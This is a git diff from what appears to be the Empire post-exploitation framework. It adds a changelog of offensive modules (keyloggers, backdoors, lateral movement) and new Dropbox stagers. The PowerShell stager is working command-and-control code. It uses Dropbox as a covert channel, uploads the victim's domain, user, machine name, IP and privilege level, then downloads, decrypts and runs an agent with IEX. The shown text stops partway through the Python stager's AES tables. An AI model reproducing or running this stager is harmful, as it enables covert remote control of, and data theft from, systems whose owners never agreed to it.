diff --git a/.gitignore b/.gitignore index 52361e2..78f03f7 100644 --- a/.gitignore +++ b/.gitignore @@ -9,3 +9,5 @@ LastTask* data/obfuscated_module_source/*.ps1 data/misc/ToObfuscate.ps1 data/misc/Obfuscated.ps1 +setup/xar* +setup/bomutils/* diff --git a/README.md b/README.md index 9369375..8009d02 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,6 @@ Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https: Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/ -Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/ ## Contribution Rules diff --git a/changelog b/changelog index 036e6c6..c04562d 100644 --- a/changelog +++ b/changelog @@ -1,6 +1,41 @@ -Running +5/15/2017 --------- --Fix for issue 340 Added pip install setuptools and apt-get install libssl-dev +-Version 2.0 Master Release + -Merge of Empyre and Empire projects + -Fix REST API + -Add Dropbox Listener + -Add support for IPv6 agents and listener + -Add DCOM lateral movement module + -Add module - Sudo Piggyback + Mail Persistence + Bash Profile Backdoor #357 + -Add USB ETW Keylogger #396 + -Fix dcos modules and fixed pyinstaller #403 + -Fix agent staging over http_hop listeners #404 + -Fixed Get-SPNTicket multiple user SPNs bug #405 + -Fix issue with Invoke-Shellcode Meterpreter stager #414 + -Fix code_execution/invoke_reflectivepeinjection hangs empire if an invalid path is provided to DllPath #421 + -Fix for PowerShell code in Invoke-PSInject too long #423 + -Fix for agent shell commands #424 + -Fix prompt line wrapping #430 + -Fix screenshot module #435 + -Add PowerUpSQL Modules #437 + -Add module to monitor TCP connections #438 + -Fix DLL stager #449 + -Add VNC Inject #452 + -Add HTTP headers to avoid proxy caching #455 + -Fix hard-coded path in the OSX screenshot module. #465 + -Add a module for wlrmdr.exe popup #472 + -Add a module for SOCKSv5 proxy #478 + -Fix bug in HTTP handler that can throw exceptions while parsing Cookies #479 + -Add a BashBunny HID stager #480 + -Update Inveigh 1.3.1 Modules #483 + -Add support for Arch Linux and rejigged the Unknown distro option #484 + -Fix for issue #420 non-ascii bug #489 + -Fix the listeners API call #490 + -Fix PKCS7 padding to be RFC compliant #492 + -Add custom headers if any #495 + -Fix using netifaces() for getting iface #496 + -Add Session Gopher module + -Fix for issue 340 Added pip install setuptools and apt-get install libssl-dev 9/23/2016 diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 0533114..610d7b5 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -561,7 +561,12 @@ function Invoke-Empire { param($bytes) # get a random IV $IV = [byte] 0..255 | Get-Random -count 16 - $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $AES.Mode = "CBC"; $AES.Key = $Encoding.GetBytes($SessionKey); $AES.IV = $IV; @@ -585,7 +590,12 @@ function Invoke-Empire { # extract the IV $IV = $inBytes[0..15]; - $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $AES.Mode = "CBC"; $AES.Key = $Encoding.GetBytes($SessionKey); $AES.IV = $IV; diff --git a/data/agent/stagers/dropbox.ps1 b/data/agent/stagers/dropbox.ps1 new file mode 100644 index 0000000..31969b9 --- /dev/null +++ b/data/agent/stagers/dropbox.ps1 @@ -0,0 +1,210 @@ +function Start-Negotiate { + param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko') + + function ConvertTo-RC4ByteStream { + Param ($RCK, $In) + begin { + [Byte[]] $S = 0..255; + $J = 0; + 0..255 | ForEach-Object { + $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256; + $S[$_], $S[$J] = $S[$J], $S[$_]; + }; + $I = $J = 0; + } + process { + ForEach($Byte in $In) { + $I = ($I + 1) % 256; + $J = ($J + $S[$I]) % 256; + $S[$I], $S[$J] = $S[$J], $S[$I]; + $Byte -bxor $S[($S[$I] + $S[$J]) % 256]; + } + } + } + + function Decrypt-Bytes { + param ($Key, $In) + if($In.Length -gt 32) { + $HMAC = New-Object System.Security.Cryptography.HMACSHA256; + $e=[System.Text.Encoding]::ASCII; + # Verify the HMAC + $Mac = $In[-10..-1]; + $In = $In[0..($In.length - 11)]; + $hmac.Key = $e.GetBytes($Key); + $Expected = $hmac.ComputeHash($In)[0..9]; + if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) { + return; + } + + # extract the IV + $IV = $In[0..15]; + $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $AES.Mode = "CBC"; + $AES.Key = $e.GetBytes($Key); + $AES.IV = $IV; + ($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16) + } + } + + # make sure the appropriate assemblies are loaded + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security"); + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core"); + + # try to ignore all errors + $ErrorActionPreference = "SilentlyContinue"; + $e=[System.Text.Encoding]::ASCII; + + $SKB=$e.GetBytes($SK); + # set up the AES/HMAC crypto + # $SK -> staging key for this server + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $IV = [byte] 0..255 | Get-Random -count 16; + $AES.Mode="CBC"; + $AES.Key=$SKB; + $AES.IV = $IV; + + $hmac = New-Object System.Security.Cryptography.HMACSHA256; + $hmac.Key = $SKB; + + $csp = New-Object System.Security.Cryptography.CspParameters; + $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore; + $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp; + # export the public key in the only format possible...stupid + $rk=$rs.ToXmlString($False); + + # generate a randomized sessionID of 8 characters + $ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8); + + # build the packet of (xml_key) + $ib=$e.getbytes($rk); + + # encrypt/HMAC the packet for the c2 server + $eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length); + $eb=$eb+$hmac.ComputeHash($eb)[0..9]; + + # if the web client doesn't exist, create a new web client and set appropriate options + # this only happens if this stager.ps1 code is NOT called from a launcher context + if(-not $wc) { + $wc=New-Object System.Net.WebClient; + # set the proxy settings for the WC to be the default system settings + $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + } + + # RC4 routing packet: + # sessionID = $ID + # language = POWERSHELL (1) + # meta = STAGE1 (2) + # extra = (0x00, 0x00) + # length = len($eb) + $IV=[BitConverter]::GetBytes($(Get-Random)); + $data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length); + $rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data; + $rc4p = $IV + $rc4p + $eb; + + # the User-Agent always resets for multiple calls...silly + $wc.Headers.Set("User-Agent",$UA); + # add Dropbox specific args + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Content-Type", "application/octet-stream"); + # have to remove before adding a new value + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_1.txt`"}"); + # step 3 of negotiation -> client posts AESstaging(PublicKey) to the server + $Null = $wc.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $rc4p); + + # step 4 of negotiation -> server returns RSA(nonce+AESsession)) + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_2.txt`"}"); + $raw=$wc.DownloadData("https://content.dropboxapi.com/2/files/download"); + $de=$e.GetString($rs.decrypt($raw,$false)); + # packet = server nonce + AES session key + $nonce=$de[0..15] -join ''; + $key=$de[16..$de.length] -join ''; + + # increment the nonce + $nonce=[String]([long]$nonce + 1); + + # create a new AES object + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $IV = [byte] 0..255 | Get-Random -Count 16; + $AES.Mode="CBC"; + $AES.Key=$e.GetBytes($key); + $AES.IV = $IV; + + # get some basic system information + $i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName; + $p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); + + # check if the IP is a string or the [IPv4,IPv6] array + $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; + if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; + $i+="|$ip"; + + $i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; + + # detect if we're SYSTEM or otherwise high-integrity + if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"} + else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")} + + # get the current process name and ID + $n=[System.Diagnostics.Process]::GetCurrentProcess(); + $i+='|'+$n.ProcessName+'|'+$n.Id; + # get the powershell.exe version + $i += "|powershell|" + $PSVersionTable.PSVersion.Major; + + # send back the initial system information + $ib2=$e.getbytes($i); + $eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length); + $hmac.Key = $e.GetBytes($key); + $eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9]; + + # RC4 routing packet: + # sessionID = $ID + # language = POWERSHELL (1) + # meta = STAGE2 (3) + # extra = (0x00, 0x00) + # length = len($eb) + $IV2=[BitConverter]::GetBytes($(Get-Random)); + $data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length); + $rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2; + $rc4p2 = $IV2 + $rc4p2 + $eb2; + + # the User-Agent always resets for multiple calls...silly + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Content-Type", "application/octet-stream"); + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_3.txt`"}"); + + # step 5 of negotiation -> client posts nonce+sysinfo and requests agent + $Null = $wc.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $rc4p2); + + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_4.txt`"}"); + $raw=$wc.DownloadData("https://content.dropboxapi.com/2/files/download"); + + Start-Sleep -Seconds $($PI -as [Int]); + $wc2=New-Object System.Net.WebClient; + $wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + $wc2.Headers.Add("User-Agent",$UA); + $wc2.Headers.Add("Authorization", "Bearer $T"); + $wc2.Headers.Add("Content-Type", " application/json"); + $Null=$wc2.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"REPLACE_STAGING_FOLDER/$($ID)_4.txt`"}"); + + # decrypt the agent and register the agent logic + IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) ); + + # clear some variables out of memory and cleanup before execution + $AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null; + [GC]::Collect(); + + # TODO: remove this shitty $server logic + Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID; +} +# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners +Start-Negotiate -T $T -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u; diff --git a/data/agent/stagers/dropbox.py b/data/agent/stagers/dropbox.py new file mode 100644 index 0000000..cfb8831 --- /dev/null +++ b/data/agent/stagers/dropbox.py @@ -0,0 +1,895 @@ +#!/usr/bin/env python + +# AES code from https://github.com/ricmoo/pyaes +# DH code from Directly from: https://github.com/lowazo/pyDHE +# See README.md for complete citations and sources + +import copy +import sys +import struct +import os +import pwd +import hashlib +import random +import string +import hmac +import urllib2 +import socket +import subprocess +import time +from binascii import hexlify +LANGUAGE = { + 'NONE' : 0, + 'POWERSHELL' : 1, + 'PYTHON' : 2 +} +LANGUAGE_IDS = {} +for name, ID in LANGUAGE.items(): LANGUAGE_IDS[ID] = name + +META = { + 'NONE' : 0, + 'STAGING_REQUEST' : 1, + 'STAGING_RESPONSE' : 2, + 'TASKING_REQUEST' : 3, + 'RESULT_POST' : 4, + 'SERVER_RESPONSE' : 5 +} +META_IDS = {} +for name, ID in META.items(): META_IDS[ID] = name + +STAGING = { + 'NONE' : 0, + 'STAGE0' : 1, + 'STAGE1' : 2, + 'STAGE2' : 3 +} +STAGING_IDS = {} +for name, ID in STAGING.items(): STAGING_IDS[ID] = name + +ADDITIONAL = {} +ADDITIONAL_IDS = {} +for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name + +# If a secure random number generator is unavailable, exit with an error. +try: + try: + import ssl + random_function = ssl.RAND_bytes + random_provider = "Python SSL" + except (AttributeError, ImportError): + import OpenSSL + random_function = OpenSSL.rand.bytes + random_provider = "OpenSSL" +except: + random_function = os.urandom + random_provider = "os.urandom" + +class DiffieHellman(object): + """ + A reference implementation of the Diffie-Hellman protocol. + By default, this class uses the 6144-bit MODP Group (Group 17) from RFC 3526. + This prime is sufficient to generate an AES 256 key when used with + a 540+ bit exponent. + """ + + def __init__(self, generator=2, group=17, keyLength=540): + """ + Generate the public and private keys. + """ + min_keyLength = 180 + + default_generator = 2 + valid_generators = [2, 3, 5, 7] + + # Sanity check fors generator and keyLength + if(generator not in valid_generators): + print("Error: Invalid generator. Using default.") + self.generator = default_generator + else: + self.generator = generator + + if(keyLength < min_keyLength): + print("Error: keyLength is too small. Setting to minimum.") + self.keyLength = min_keyLength + else: + self.keyLength = keyLength + + self.prime = self.getPrime(group) + + self.privateKey = self.genPrivateKey(keyLength) + self.publicKey = self.genPublicKey() + + def getPrime(self, group=17): + """ + Given a group number, return a prime. + """ + default_group = 17 + + primes = { + 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF, + 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF, + 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF, + 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF, + 17: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF, + 18: + 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF + } + + if group in primes.keys(): + return primes[group] + else: + print("Error: No prime with group %i. Using default." % group) + return primes[default_group] + + def genRandom(self, bits): + """ + Generate a random number with the specified number of bits + """ + _rand = 0 + _bytes = bits // 8 + 8 + + while(len(bin(_rand))-2 < bits): + + try: + _rand = int.from_bytes(random_function(_bytes), byteorder='big') + except: + _rand = int(random_function(_bytes).encode('hex'), 16) + + return _rand + + def genPrivateKey(self, bits): + """ + Generate a private key using a secure random number generator. + """ + return self.genRandom(bits) + + def genPublicKey(self): + """ + Generate a public key X with g**x % p. + """ + return pow(self.generator, self.privateKey, self.prime) + + def checkPublicKey(self, otherKey): + """ + Check the other party's public key to make sure it's valid. + Since a safe prime is used, verify that the Legendre symbol == 1 + """ + if(otherKey > 2 and otherKey < self.prime - 1): + if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1): + return True + return False + + def genSecret(self, privateKey, otherKey): + """ + Check to make sure the public key is valid, then combine it with the + private key to generate a shared secret. + """ + if(self.checkPublicKey(otherKey) is True): + sharedSecret = pow(otherKey, privateKey, self.prime) + return sharedSecret + else: + raise Exception("Invalid public key.") + + def genKey(self, otherKey): + """ + Derive the shared secret, then hash it to obtain the shared key. + """ + self.sharedSecret = self.genSecret(self.privateKey, otherKey) + + # Convert the shared secret (int) to an array of bytes in network order + # Otherwise hashlib can't hash it. + try: + _sharedSecretBytes = self.sharedSecret.to_bytes( + len(bin(self.sharedSecret))-2 // 8 + 1, byteorder="big") + except AttributeError: + _sharedSecretBytes = str(self.sharedSecret) + + s = hashlib.sha256() + s.update(bytes(_sharedSecretBytes)) + self.key = s.digest() + + def getKey(self): + """ + Return the shared secret key + """ + return self.key + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + + +def _string_to_bytes(text): + return list(ord(c) for c in text) + + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + + +def _concat_list(a, b): + return a + b + + +def to_bufferable(binary): + return binary + + +def _get_byte(c): + return ord(c) + +# Python 3 compatibility +try: + xrange +except Exception: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + if (len(data) % 16) == 0: + return data + else: + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad <= 16: + return data[:-pad] + else: + return data + +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91] + + # S-box and Inverse S-box (S is for Substitution) + S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16] + Si = [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 